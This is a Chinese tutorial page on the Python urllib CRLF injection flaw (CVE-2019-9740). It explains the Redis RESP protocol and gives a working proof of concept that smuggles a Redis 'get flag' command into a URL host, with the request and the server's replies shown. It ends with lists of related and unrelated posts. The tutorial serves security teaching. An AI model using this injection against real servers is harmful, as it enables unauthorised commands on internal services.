CRLF注入

  • Title: [CVE-2019-9740] Python urllib CRLF injection vulnerability
  • Category: security
  • Stage: resolved
  • Components: Library(Lib)
  • Versions: Python 3.8, Python 3.7, Python 2.7

Redis使用的协议

Redis客户端使用RESP(Redis序列化协议)与Redis服务器之间进行通信。该协议专为Redis设计,但也可用于其它客户端-服务器(Client-Server)软件项目。

RESP简单字符串(RESP Simple Strings)

简单字符串使用以下方式编码:以+(加号符号)开始,后跟一个不能包含CR或LF字符的字符串(不允许换行符),以CRLF(即"\r\n")结尾。

简单字符串用于以最小开销传输非二进制安全的字符。例如,许多Redis命令在成功时回复“OK”,因为RESP Simple String使用以下5个字节进行编码:

+OK\r\n

RESP大容量字符串(RESP Bulk Strings)

大容量字符串用于表达长达512MB的单个二进制安全字符串。

大容量字符串使用如下的编码方式:

  1. 一个以“$”字节开始,后面是组成字符串长度的字节数(前缀长度),由CRLF终止;
  2. 实际的字符串数据;
  3. 最终的CRLF。

字符串“foobar”被编码为:

"$6\r\nfoobar\r\n"

空字符串为:

"$0\r\n\r\n"

另外还可以使用RESP Bulk Strings的特殊格式表示空值。在这种特殊格式中,长度为-1,并且没有数据,所以空值表示为(Null Bulk String):

"$-1\r\n"

当服务器使用空字符串进行回复时,客户端库API不应该返回空字符串,而是返回一个nil对象。例如,Ruby库应该返回'nil',C库应该返回NULL(或者在应答对象中设置特殊标志)。

RESP数组(RESP Arrays)

Redis使用RESP数组发送命令到Redis服务器。同样,某些Redis命令使用RESP数组作为回复类型,将元素集合返回给客户端。一个例子是返回列表元素的LRANGE命令。

RESP数组使用以下格式发送:

  1. 一个“*”字符作为第一个字符,后面为十进制数字,该数字是数组中的元素个数,然后是CRLF;
  2. Array的每个元素都有一个额外的RESP类型。

所以一个空的Array只含有以下内容:

"*0\r\n"

两个RESP批量字符串“foo”和“bar”的数组编码为:

"*2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n"

*<count>CRLF部分作为数组的前缀,组成数组的其它数据类型只是依次连接在一起。例如,一个含有三个整数的数组编码为:

"*3\r\n:1\r\n:2\r\n:3\r\n"

数组可以包含混合类型,元素之间不必是同一类型。例如,由四个整数和一个字符串块组成的列表可以编码为:

*5\r\n:1\r\n:2\r\n:3\r\n:4\r\n:abc\r\n

利用urllib简单构造

现分别构造对百度和对某个Redis服务器的请求。

#目标为百度
import urllib.request host='www.baidu.com'
url=f'http://{host}/'
resp=urllib.request.urlopen(url)
print(resp.read())
#目标为某个Redis服务器
#假设Redis服务器数据库存有键值对{'flag':'is_flag'}
import urllib.request host='114.55.65.251:46379?\r\n*2\r\n$3\r\nget\r\n$4\r\nflag\r\n'#发送get flag命令
url=f'http://{host}/'
resp=urllib.request.urlopen(url)
print(resp.read())

两者请求信息对比:

GET / HTTP/1.1
Host: www.baidu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
GET /?
*2
$3
get
$4
flag
HTTP/1.1
Host: 114.55.65.251:46379
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

对Redis请求实际上返回了多个结果:

请求内容(GET) 返回结果
/? $-1\r\n(Redis无法识别)
*2\r\n$3\r\nget\r\n$4\r\nflag\r\n $7\r\n(即'is_flag')
后续内容 -ERR unknown command /, with...

小结

CRLF注入对于较新版本的Python完全无效。例如Python 3.8.3中的urllib已经过滤了操作符,当构造上面的请求时,会有如下报错:

http.client.InvalidURL: URL can't contain control characters. '/?\r\n*2\r\n$3\r\nget\r\n$4\r\nflag\r\n/' (found at least '\r')

但是攻击实践中一般不会使用较新的Python版本,而是习惯于使用“经典版本”(如Python 2.7、Python 3.6),以达到对工具运行环境的稳定支持,这也方便于CRLF注入的展开。

现今大型网站基本会完全过滤操作符,也很少存在对用户输入直接输出的设计,不过CRLF仍旧值得一试。

CRLF注入的更多相关文章

  1. WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入

    零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...

  2. CRLF注入学习

    预备 <CRLF>是换行符,CRLF注入顾名思义就是把换行符写入,那么要把换行符写入到哪里呢?看看下面的http头 可以看到,每一行都包含特定的头部信息,然后以换行为标志写入其他的头部信息 ...

  3. 【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文

    目录 SQL注入 一些寻找SQL漏洞的方法 防御SQL注入 SQL注入相关的优秀博客 XML注入 什么是XML注入 预防XML注入 JSON注入 什么是JSON注入 JSON注入的防御 CRLF注入 ...

  4. (二)CRLF注入

    01 漏洞描述 在<HTTP | HTTP报文>一文中,我们介绍了HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔.或者理解为首部最后一个字段有两个CRL ...

  5. CRLF注入原理

    CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),操作系统就是根据这个标识来进行换行的,你在键盘输入回车键就是输出这个字符,只不过win ...

  6. CRLF注入漏洞 -配置错误

    漏洞分析参考 https://i-beta.cnblogs.com/posts/edit 什么是CRLF? CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII ...

  7. Nginx配置不当(CRLF注入 、目录穿越)

    基于vulhub漏洞环境 环境搭建参考:https://blog.csdn.net/qq_36374896/article/details/84102101 1.漏洞名称 CRLF注入 2.漏洞原理 ...

  8. CRLF注入攻击

      原理:http数据包通过\r\n\r\n来分开http header何http body 实现:首先这种攻击发生在应用层,且发生在服务器返回给我们的http reponse没有经过敏感字符的过滤, ...

  9. CRLF注入漏洞

    CRLF是“回车+换行”(\r\n,%0d%0a)的简称. HTTP协议中,HTTP Header之间以一个CRLF分隔,Header与Body以两个CRLF分隔.URL重定向通常通过响应头中的Loc ...

随机推荐

  1. ArcMobile的CoordinateCollection在逆时针添加点时自动调整节点顺序的问题

    为了使用ArcMobile实现量测功能,LZ自定义了一个MapGraphicLayer用于绘图,代码如下: using System.Drawing; using ESRI.ArcGIS.Mobile ...

  2. springboot(四) rabbitMQ demo

    RabbitMQ 即一个消息队列,主要是用来实现应用程序的异步和解耦,同时也能起到消息缓冲,消息分发的作用. 消息中间件在互联网公司的使用中越来越多,刚才还看到新闻阿里将RocketMQ捐献给了apa ...

  3. TypeORM Entity

    TypeORM Entity Entity Entity is a class that maps to a database table when using SQL database(or col ...

  4. PIP & Python packages management

    PIP & Python packages management $ python3 --version # OR $ python3 -V # Python 3.7.3 $ pip --ve ...

  5. NGK公链助力医疗行业数据安全

    近年来医疗领域的数据泄露事件时有发生,医疗行业数据面临着医疗数据获得不易及缺乏有效管理和数据安全机制问题.而区块链的去中心化.分布式账本等特点正好契合医疗领域的需求点. 医疗数据市场痛点 一.医疗信息 ...

  6. 记录一次gitlab版本回退以及代码冲突解决流程

    版本回退 git clone -b 分支名 项目地址 克隆需要回退的分支代码 git pull    保证代码提交记录最新 git log --pretty=oneline    以行的形式展示提交记 ...

  7. Spring Security 实战干货:OAuth2登录获取Token的核心逻辑

    1. 前言 在上一篇Spring Security 实战干货:OAuth2授权回调的核心认证流程中,我们讲了当第三方同意授权后会调用redirectUri发送回执给我们的服务器.我们的服务器拿到一个中 ...

  8. FreeRTOS操作系统最全面使用指南

    FreeRTOS操作系统最全面使用指南 1 FreeRTOS操作系统功能 作为一个轻量级的操作系统,FreeRTOS提供的功能包括:任务管理.时间管理.信号量.消息队列.内存管理.记录功能等,可基本满 ...

  9. HTTP/1.1 有点慢,我想优化下!

    问你一句:「你知道 HTTP/1.1 该如何优化吗?」 我想你第一时间想到的是,使用 KeepAlive 将 HTTP/1.1 从短连接改成长链接. 这个确实是一个优化的手段,它是从底层的传输层这一方 ...

  10. 微信小程序:快速生成less文件类嵌套的结构

    全部选中标签结构,按住ctrl+shift+p,选中插件Generate CSS tree(提前安装CSS Tree),先删除undefined,将img替换成image,删除标签名view. 完整的 ...